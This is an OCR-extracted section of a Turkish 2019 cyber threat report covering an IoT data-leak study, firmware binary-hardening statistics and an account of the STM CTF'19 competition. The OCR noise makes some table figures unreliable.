Bu nedenle entropi analizi kullanilarak sifrelemeler ka-
rakterize edilmeye caligiimistir?3.,
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Sifreleme Cihaz Kategorisi ABD ingiltere
Yok Ayagitlar 7.1 0.3
Yok Ses Cihazlari 1.4 1.7
Yok Akilli Goklayicilar (hub) 2.7 4.5
Yok Ev Otomasyon Cihazlari 71 6.0
Yok Kameralar 111 10.3
Yok Televizyonlar 8.0 12.2
Var Aygitlar 26.9 114
Var Ses Cihazlari 61.2 61.8
Var Akilli Goklayicilar (hub) 24.9 18.2
Var Ev Otomasyon Cihazlari 291 51.0
Var Kameralar 9.6 14.6
Var Televizyonlar 61.2 73.8
Bilinmiyor Aygrtlar 63.3 55.0
Bilinmiyor Ses Cihazlar 36.0 36.5
Bilinmiyor Akilli Goklayicilar (hub) 71.9 77.2
Bilinmiyor Ev Otomasyon Cihazlari 57.3 37.9
Bilinmiyor Kameralar 76.8 69.4
Bilinmiyor Televizyonlar 30.7 13.9

EKIM-ARALIK 2019

ABDn ingilteren  \ppy i sitere Yo ingiltere->ABD
0 0 76 0.3
15 2.1 17 16
23 45 3.1 43
9.8 7.9 9.3 45
0.7 0.2 10.8 3.9
9.3 12.2 16.0 12.6
0 0 26.5 2.9
57.6 54.0 54.1 54.7
10.3 182 28.9 21.4
427 55.0 8.9 49.6
226 254 40.7 13.3
64.4 73.8 63.2 59.7
88.1 50.1 41.1 63.5
39.2 438 67.5 43.8
77.8 772 55.9 742
36.0 30.1 775 412
70.8 64.4 433 76.5
26.3 13.9 3.1 277

Tablo 11: Cihaz kategorisine gore sifrelenmeden yollanan byte yliizdesi®.

Tablo 11’de cihazlardan génderilen sifrelenmemis ve-
rilerin cihaz kategorilerine goére ylzdeleri verilmigtir. Bu
tabloyla veri ihlali analizi yapiimistir. ik siitun sifreleme
kategorisini gdstermektedir ve bu sttundaki ilk satir gru-
bu, verilerini sifrelenmemis olarak gdénderen cihazlarin
kategorilere gére sifrelenmemis veri ylzdelerini, ikin-
ci satir grubu sifreli olarak yolladiklari veri ylzdelerini,
Uclincl satir grubu ise trafigin tam olarak analiz edile-
medidi cihazlardaki yiizdeleri géstermektedir. Ucilinci
satir grubunda goruldigu Uzere loT trafiginde paket
analizinin yapiimasi icin standart protokol analiz aragla-
rinin disinda bir ydntem uygulamak gereklidir. ABD’deki
test ortaminda bulunan kameralar ylizde 11,1 ile en fazla
veri ihlaline acik cihaz kategorisidir. Ozellikle Microseven
kameralar ve Zmodo Doorbell cihazlari haberlesme ve
paket yollama sirasinda sifrelenmemis veri (diiz metin
olarak) gondermektedir. Hub’lara baktigimizda ise yolla-
nan paketlerin ylizde 71,9’unda trafik analiz edilememis-
tir (Wireshark’in ¢ézemedigi ve entropi analizi ile tespit
edilen tipte olusan trafik)?.

14.3. icerik Analizi

Bu bélimde, deneyde incelenen loT cihazlarinin diger
taraflarla etkilesimi sirasinda ortaya ¢ikan veri ihlalleri
analiz edilecektir. Bu analiz, ag trafigini iki igerik tipine
gore ayirarak yapilacaktir?s,
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Sifrelenmemis trafikte metinsel tanimlayici bilgiler
(Pll): Her cihazin ag trafigi icindeki acik metin olarak
yollanan verilerde tanimlayici bilgi (Pll) tespiti yapmak
oldukca basittir. Tanimlayici bilgi analiziyle cihaza 6zgu
bilgilere (MAC adresi, UUID gibi) ve kisisel kayit sira-
sinda verilen kisisel bilgilere (isim, e-posta, ev adresi,
telefon, kullanici adi, parola vb.) erisilebilir.

Cihaz etkinligi cikarimi: Ag trafigine gére cihaz et-
kilesimi ¢ikarimi yapmak igin (sifreli olup olmadigina
bakilmaksizin), her cihaz 6zelinde rasgele orman al-
goritmasi kullanilarak makine &grenmesiyle sinif-
landirma mekanizmasi egitilmistir. Burada deneyde
kullanilan cihazlara ait ag trafigini kesin olarak be-
lirleyebilmek icin, yani araya bagka paketlerin karis-
masini 6nlemek amaciyla NTP gibi protokollerden
yararlanilmigtir.

Tablo 13’de yer alan liste, makine 6grenmesi metrikleri-
ne gére 0,75 isabet oranindan fazla ¢ikarim yapilabilen
cihazlarin kategorilere gére gruplandirimasiyla olustu-
rulmustur. En soldaki siitunda parantez icinde gésterilen
sayl o kategoriye ait test edilmis cihaz sayisini gdster-
mektedir. En sagdaki dort situn VPN ortamini kullanan
cihazlara ait sayilardir. Tabloda gorildigu UGzere en faz-
la gikarim yapilabilen cihaz tipi kameralar, TV’ler ve ses
cihazlandir. Bunun sebebi bu tlr cihazlarin haberlesme
sirasinda ¢ok trafik olusturmasiyla makine 6grenmesinin
daha efektif uygulanabilmesidir®?l,

SIBER TEHDIT DURUM RAPORU
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Kategori (#D) ABD ingiltere ABDn ingilteren
Aygitlar 2 0 0 0
Ses Cihazlari 3 1 2 0
Akilli Coklayicilar (hub) | 8 6 3 3
Ev Otomasyon Cihazlar A 0 1 0 0
Kameralar 1 0 1 0
TV 5) 3 3 3

Tablo 12: Cikarim yapilabilen cihaz tablosul?3.

14.4. Sonu¢

Bu calismada, loT cihazlarinda meydana gelen veri ihlal-
lerinin farkli aglarda, cografi bolgelerde ve diger cihazlar-
la olan etkilesimleri gibi farkli vektérler kullanilarak olug-
turulan deney ortami analiz edilmistir. ABD ve ingiltere
de olusturulmus iki ayri lab ortaminda incelenen 81 ciha-
za ait 34.586 kontrol maddesi ¢calismaya konu olmustur.
Calisma da ¢ogu cihazin tanimlayici bilgiler kullanirken
sifreleme algoritmalariyla haberlestigi gérilmektedir (fa-
kat az da olsa agik metin olarak ihlal edilebilen tanim-
layici bilgilerin tasindigi goérdimuastir). Ayrica ABD orta-
minda test edilen cihazlarin ylizde 56’sinin, ingiltere de
ise yluzde 83,8’inin kendi bdlgeleri disindaki cihaz ya da
uygulamalarla etkilesime girdigi gbézlemlenmistir. Ayrica
cihazlarin bazilarinin beklenmedik video ve ses kayitlari
aldigi ortaya ¢ikarilmigtir?s,

15. l1oT URUNLERINDE BiNARY
SIKILASTIRMA

Agustos 2019°da yapilan bir galismada, IOT cihaz Ure-
ticilerinin web siteleri Uzerinden yayinladiklarn firmware
glincellemeleri, Cyber-ITL (Cyber Independent Testing
Lab) arastirmacilan tarafindan toplanarak bir kiittiphane
olusturulmustur. Olusturulan kitiphaneyi analiz etmek
icin dnce firmware imajlarindan Linux root dosya sistem-
leri elde edilmistir daha sonra da bunlarin icerdigi binary
dosyalar analiz edilmistir?4.,

15.1. Temel Bulgular

15 yillik veri seti incelendiginde hicbir Greticinin olum-
lu egilimine rastlanmamustir.

MIPS’in (Microprocessor without Interlocked Pipeline
Stages) en ¢ok kullanilan mimari olmasinin yani sira
ortalamada en az sikilagtirmanin uygulandigr mimari
oldugu ortaya ¢ikmistir.

Farkli Greticilere ait trlnlerde ¢cok sayida ayni binary
dosyaya rastlanmistir.

Genelde glncellemelerin  sikilastirma kapsamina
Ozellik eklemek yerine bu kapsami giderek kigultti-
gu tespit edilmistir.
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ABD (VPN)-ingiltere ingiltere>ABD  ABDn ingilteren
1 0 0 0
3 3 2 3
10 6 4 3
1 1 1 0
1 0 1 0
5 4 3 3

15.2. Veri Seti

22 Uretici

1294 Uriin

4956 Firmware Versiyonu

3.333.411 Adet Binary

Firmware yayinlanma araligi: 2003.03.24 -2019.01.24

15.3. Uretici Dagilimi

Olusturulan veri setinde, yayinlanan firmwarelerin blyik
cogunlugu sirasiyla Ubiquiti, Asus, DD-WRT ve D-link
Ureticilerine aittir.

Sekil 89: Uretici-Firmware dagilimi4

Ureticilere ait binary dosya sayilar incelendiginde ise
durum biraz degisiyor. Synology Ureticisine ait binary
dosya sayisi kUtiphanenin ¢ogunlugunu olustururken
Ubiquiti, Qnap ve DD-WRT gibi Ureticiler daha sonra
geliyor.
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symalogy

Sekil 90: Uretici-Binary dagilimi?,

15.4. CPU Mimarisi

ARM mimarisinin bitin popdlerligine ragmen sasirtici
bir sekilde MIPS mimarisi hala oldukca fazla kullanilyor.
En azindan calismanin yapildig kiitiphanede bu sapta-
ma gegerli.

— AT

— mips !

" —ppe [
= xB6 I|I
¥B6_64 |

Sekil 91: Yillara gére CPU mimarisi [3990 Firmware|13 Uretici]?4.

15.5. CPU Mimarilerinin Skorlamasi

MUmkin olan tUm sikilastirma &zelliklerinden ne kada-
rnin binary dosya Uzerinde etkinlestirildigi géz énliinde
bulundurularak 0-100 arasi puanlar verilmis. Ayrica skor-
lama yapilirken system(), strcpy() gibi riskli fonksiyonlarin
ne siklikla kullanildigi da hesaba katilmis. Binary dosya-
lara verilen puanlarin toplami g6z 6ntine alinarak ait ol-
duklar mimarilerin skorlar elde edilmis. Arastirmacilarin
bu metrigine goére yiksek skor binary dosyanin ylksek
oranda sikilastirldigi anlamina gelmektedir.
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Sekil 92: Mimarilerin sikilastirma skorlari ve toplam binary dosya
sayilan?4,
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15.6. Degisimlerin incelenmesi

15.6.1. 2012 ve 2018 Yillarinda Uretici Ozetleri

Ureticilerin zaman icinde gelisimini gézlemlemek icin
iki farkli yil secilmis (2012 ve 2018). Asagidaki tablolar
2012 ve 2018 yillarinda yayinlanan firmwarelerde Uretici-
lerin farkh sikilagtirma 6zelliklerini uygulama ytzdelerini
gOstermektedir.

NON-EXEC STACK ASLR FORTIFY RELRO COUNT

STACK GUARDS

VENDOR

Sekil 93: 2012 Yil vendor (Uretici) sikilastirma ylzdeleri?4.

15.6.2. 2012 ve 2018 Yillan1 Arasindaki
Degisim
Asagidaki tablo 2012 ve 2018 yillan arasinda degisimin

bir 6zeti seklindedir. Bu arastirmada 6ne ¢ikan bazi de-
gisimler sunlardir:

2012’den 2018’e sikilastirma kapsamini en ¢ok kay-
beden Uretici DLINK olmustur.

2012’den 2018’e degisimlerin ¢cogu pozitif yonde
olsa da degisim yuzdesi oldukga azdir.

Sikilastirma 6zellikleri arasinda Non-Exec Stack,
6nemli derecede artan tek 6zellik olmusgtur.
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VENDOR NON-EXEC STACK ASLR STACK GUARDS FORTIFY RELRO COUNT

Sekil 94: 2018 Yili vendor (Uretici) sikilagtirma ylzdeleri?4,

VENDOR NON-EXEC STACK ASLR STACK GUARDS FORTIFY RELRO COUNT

Sekil 95: Vendor (Uretici) bazinda 2012-2018 arasi degisim®4.

15.7. Guncellemeler Sikilastirma Kapsamini
Artinyor mu?

Calisma sirasinda herhangi bir Griinde yapilan gtincel-
lemelerin sikilagtirma kapsamina etkisi tUzerinde durul-
mus. Bu etkiyi 6lgebilmek icin Grdn firmwarelerinin ilk ve
son versiyonlarinin sikilastirma kapsamlarn kargilastiril-
mis. Grafikte de gorildigu Uzere bircok Urln icin siki-
lastirma kapsami skorundaki degisim yaklasik O olarak
go6rilmektedir.

15.8. Farkl Ureticilerde Rastlanan Ayni
Binary Dosyalar

Kltiphanede bulunan firmwareler incelenirken bazi bi-
nary dosyalarin birden fazla Ureticiye ait firmware’de bi-
rebir bulundugu goérilmUstdr. Binary dosyalarin SHA-256
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Sekil 96: ilk ve son versiyon arasindaki firmware skor degisimleri4,
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Sekil 97: ilk ve son versiyon arasindaki firmware skor degisimleri®,

¢iktisina iki veya daha fazla Ureticide rastlanma durumla-
rina gore asagidaki sicaklik grafigi olusturulmustur.

Veri setindeki binary dosyalardan 3.704 tanesinin en az
iki farkli Gretici tarafindan kullanildigi gérdlGyor. Binary
dosyalar Gzerinde detayl olarak yapilan incelemeler so-
nucunda ortak binary dosyalarin Buildroot adli gémuld
isletim sistemi tasariminda kullanilan ve cross-compile
ozelligini destekleyen acik kaynak kodlu bir arag tara-
findan olusturuldugu gortlmistir. Ortak binary dosyalar
saldirganlar icin blyUk kolaylik saglamaktadir. Bu ortak
binary dosyalarin birinde bulunan bir zafiyet, ayni binary
dosyanin kullanildigi farkl Gretici ve Urtnleri hedef haline
getirmektedir. Diger taraftan ise Buildroot tarzi araglarin
sikilastirma dzelliklerini kullanmasi loT ekosisteminin bu-
yUk kismini olumlu yénde etkileyebilir.
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CTF (Captrue The Flag) yarismalar, siber glivenlik gelisim
yol haritasinda 6gretici, gelistirici ve arastirmaya yoneltici
dzellikleriyle éne cikmaktadir. Ulkemizde gerceklestirilen
en populer ve en bliylk CTF etkinliklerinden biri olan STM
CTF’in besincisini (STM CTF’19) tamamlamis olmanin he-
yecani icindeyiz. Her sene oldugu gibi bu ddénem raporu-
muzun —ayni zamanda yilsonu- inceleme konusu olarak
bu etkinligimize ait detayl bilgileri ve siire¢ boyunca yasa-
nanlari siz deg@erli okurlarimizla paylasiyoruz.

16. STMCTF’19

STM bu sene STMCTF siber glivenlik yarismasini besinci
defa dizenlemistir. Geleneksellesen yarisma 2018’den
beri iki asamali olarak yapilmaktadrr. ilk olarak internet
Uzerinden 6n eleme yarigmasi yapilmakta, burada ilk
50’ye giren takimlar, Ankara’da gerceklesecek final ya-
rismasina katiimaya hak kazanmaktadir.

CTF19 yarnigsmasinin hazirliklarina Haziran ayinda bas-
landi. Once 14 kisiden olugsan CTF ekibinin soru hazir-
liklarina baglamasi igin kategoriler belirlendi. Bir taraftan
CTF’in teknik igleri planlanirken diger taraftan organizas-
yonel igleri planlandi ve yénetimin tam destek vermesiy-
le CTF sUreci bagladi. Dort aylik bir stremiz ve hazirla-
mamiz gereken iki CTF vardi.

ik iki ayda CTF sorulari yazilmisti. Simdiki gérev ise so-
rulan ve testleri zorluk seviyelerine gore ilk asama ve
ikinci asama icin paylastirmakti. Bunun icin bir test ekibi
olusturuldu ve sorular ¢ézuldl. Zorluk seviyelerinin be-
lirrenmesi i¢in ise hem soruyu yazan kisiden hem de test
eden kisiden zorluk puanlamasi istendi. Sonugta sorula-
rnn testleri yapilmis ve kategorize edilmis oldu.

26 AJustos glinl saat 12.00°de yarismacilar icin kayitlar
acildi ve rekor bir katiimla 197 takimdan 717 kisi kayit
yaptirdi.

16.1. STM CTF’19 Online On Eleme

24 saat silrecek ve finale kalacak 50 takimi belirleyen
STMCTF’19 6n eleme yarismasi 28-29 Eylil 2019 tarih-
leri arasinda internet Uzerinden yapildi.

Online yarismada normalde ayr kategoriler olan reverse,
forensics ve malware birlestirilerek yeni REVFORMAL
kategorisi olusturuldu. Buna hazirlanan sorularin iki veya
Uic alana da girebilecek olmasi neden oldu. On elemede
REVFORMAL kategorisinden dokuz soru, PWN katego-
risinden U¢ soru, MISC kategorisinden g, OSINT kate-
gorisinden iki, CODING kategorisinden iki, WEB katego-
risinden iki ve KRIPTO kategorisinden bes soru olmak
Uzere toplam 26 soru soruldu.
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Sekil 98: STM CTF ekibi online 6n eleme.

Online 6n eleme sirasinda yarismacilara destek vermek
ve gesitli duyurular yapmak amaciyla Slack ve Telegram
kanallan agtik. Bu sayede yarismacilar CTF ekibine
kolayca erigebiliyor ve biz de onlara hizlica geri dénis
saglayabiliyorduk.

Sorularin puanlanmasinda gectigimiz sene oldugu gibi
dinamik puanlama kullanildi ve bu nedenle sorular ¢éztil-
dikce puanlar da azaldi. Yarismacilarin MISC, OSINT,
WEB ve KRIPTO sorularini PWN ve REVFORMAL kate-
gorisindeki sorulara gére daha kolay ¢ézmeleri de dik-
katlerden kagmadi.

Yarisma sirasinda da sistem 24 saat boyunca herhangi
bir aksaklik yasanmadan ayakta kaldi. Fakat yarismanin
son dakikalarinda kisa bir sireligine DDoS saldirisi ya-
sandi. Bu saldin da bazi gelen baglantilar engellenerek
atlatildi.

Bir sonraki CTF’e daha organize bir yarisma cikarta-
bilmek adina yarigmacilarin disiinceleri her sene oldu-
gu gibi bizim icin ¢cok 6énemliydi. Bu nedenle online én
eleme etabinda yarnigsmacilara anket sorusu agilmigti.
Yarigmacilarin ylzde 74,7’sinin yarismayl begdendigini
belirtmesi gurur vericiydi ancak kalan ytzdeyi daha da
dustrmek icin 6nlemler alinmasi gerekliydi.

Yarigma sizce nasildi?

L]

39 (35.1%)

20

1(0.9%) 2 (1.8%)

1 2 3 4

Sekil 99: Online CTF anket sonuglari.
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16.2. STM CTF’19 Final

Hazirliklar icin batlin ekip 29 Ekim 2019°’da yarismanin
gerceklesecegi Bilkent Otel’deydik. iki gtinimiiz vardi ve
yapilacak bircok is. Once firewall ve switch’lerin testleri-
ni yaptik. Ardindan sirayla bitin takimlarin girig bilgileri-
ni olusturup test ettik. Offline Final sirasinda da 50 farkli
takim ve yaklasik 200 kisi icin sekiz saat boyunca ayakta
kalmasi gereken bir sistem hazirlamamiz gerekiyordu.
Ayrica yarismacilar bizim altyapimiz zerinden interne-
te ciktigindan bu yUkl de dengeli ve yedekli bir sekilde
yonetebilmeliydik. Bu amacla yarisma sirasinda kablolu
ve kablosuz olmak Uzere yedekli olacak sekilde iki altya-
p! kurduk. Bazi takimlardan baglantinin yavas olduguna
dair sikayet aldiktan sonra servis saglayiciyla iletisime
gecerek baglanti hizimizi hemen iki katina ¢ikardik.

Yarisma sirasinda herhangi bir olumsuzluga karsi hem
offline ortamda, hem de online ortamda bagka bir paneli
hazir tutuyorduk. Son olarak hatlarin kontrold, yik testi,
panel kontroll, sorularin son kontrolleri derken yarisma
sabahi geldi ¢atti.

Ankara’da diizenlenen final Savunma Sanayii Bagkani
Sn. Prof. Dr. ismail Demir’in, ardindan da Genel
Mudiriimiz Sn. Murat ikinci’nin konusmalariyla basla-
di. Konugmalar bittikten ve yarigma kurallar anlatildiktan
sonra saat 10.00 itibariyle heyecan baglamigti.

Finalde REVERSE kategorisinden bes soru, FORENSICS
kategorisinden iki, MALWARE kategorisinden ¢ soru,
PWN kategorisinden iki soru, MISC kategorisinden bes,
CODING kategorisinden ¢, NETWORK kategorisin-
den bir soru, WEB kategorisinden bes soru ve KRIPTO
kategorisinden yedi soru olmak Uzere toplam 32 soru
soruldu.

On eleme etabinda yapilan anket sonuclari tizerine aldi-
gimiz aksiyonlar sonu¢ vermisti. Basarn oranimiz ylizde
74,7 den ylUzde 86,4’e yikselmigti.

Final sonrasinda her seyin yolunda gitmesi ve yarisma-
cillarin memnun ayrilmasi bizim i¢in mutluluk vericiydi.
Geride tek bir soru isareti kalmisti bizim icin final etabi

Sekil 100: Takimlar sorular ¢dzerken.
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Yarigma sizce nasildi?

40
38 (86.1%)

12 (20.3%)

Sekil 101: Final CTF anket sonuglar!.

anket sonugclarinin ylizde 1,7’sini olusturan bir takimin
yarismayi begenmemesinin sebebi neydi? Sorunun ce-
vabini 6grenmek adina anketler arasindan soruya bes
Uzerinden bir veren cevap bulundu. Burada gdrdukleri-
miz bizi olduk¢a sevindirdi.

STMCTF'19 Final
STMCTF19 Fanal yangmasina kalihminiZ igin ok Tegekkur ederiz
Yarigma sizce nasildi? *
1 2 3 4 5

Gok katii @ Gok iyi

CTF'i degerlendiriniz *

1 = Cokkoad 5= Cok iyl

CTF dncesi
iletigim

CTF swasmda
letigim ®

®

CTF altyspisi ®

CTF stiresi hakkindaki diistinceleriniz *

® Yeterliydi

CTF sorulannin zorluk derecesi? *

1 2 3 4 5

Gok kolay @

Gok zor

Sekil 102: Olumsuz degerlendirme detaylar.

Ayrica sdzkonusu takimin “Yarisma hakkindaki ilave
dustinceleriniz nelerdir?” sorusuna “Yarismanin her ge-
cen sene daha keyifli bir hal almasi bizim igin guizel
bir sey” cevabini vermesi ve “Yarismanin bu sene ya-
pildigi otel ve konumu hakkindaki gérisleriniz nelerdir?”
sorusuna da “Ulagsimi kolay ve servis olmasi gayet
iyiydi” cevabini vermesi bizim igin kétinan iyisi oldu.
Seneye hedef memnuniyet oranini yiizde 86,4 den ylz-
de 90’inin Uzerine ¢ikartmak olarak belirlendi.
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16.3. STM-CTF Quiz

STMCTF’17’den beri etkinlik alanina gelen misafirleri de
heyecana ortak etmek icin diizenlenen STMQUIZ yarig-
malar bu sene de biyik ilgi topladi. Siber giivenlik ve
teknoloji Uzerine hazirlanan sorulara dogru ve en hizl
cevabl veren kisi daha cok puan kazanarak skorboard
da kendini Ust siralara tasidi. Her saat basi yapilan mini
yarismalarda dereceye giren ilk (¢ kisiye hediyeler veril-
di. CTF yarnismasinda zorlanan yarismacilarin da fuaye
alanindaki bu mini yarismaya katildigi gézlendi.

Sekil 103: STM CTF ekibimizden Seref Can OZKAYA'nin saat basi
gerceklesen STM-CTF Quiz anlatimi.

EKIM-ARALIK 2019

16.4. STMCTF’19’da Bugshield Lansmani

STMCyber’in 2019 yilinda hizmete sundugu zafiyet av-
ciligi platformunun lansmani CTF etkinliginde yapildi. 50
takimdan 191 siber glivenlik arastirmacisinin yaristig fi-
nalde yarismacilara CIF’teki sanal ortamlarda yaristiklar
gibi canli ortamlarda da zafiyet avciligini kovalayarak ya-
risabilecekleri belirtildi ve platforma zafiyet arastirmacisi
olarak basvurulari alindi.

Sekil 104: Genel Midir Yardimcimiz Omer KORKUT’un Bugshield
lansman konusmasindan bir kare.

Sekil 105: STM CTF ekibimizden Furkan OZER’in gekilis 6d il tak-
dimi.
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Sekil 106: STM CTF teknik ekibimiz.
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Bugshield

STH Bag bounty Piallurm

Sekil 108: ikinci olan “flag4beer” takimi 6diliini Genel Midiiriimiiz Sn. Murat iKINCi’den alirken.
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Sekil 110: STM CTF’19 ekibi.
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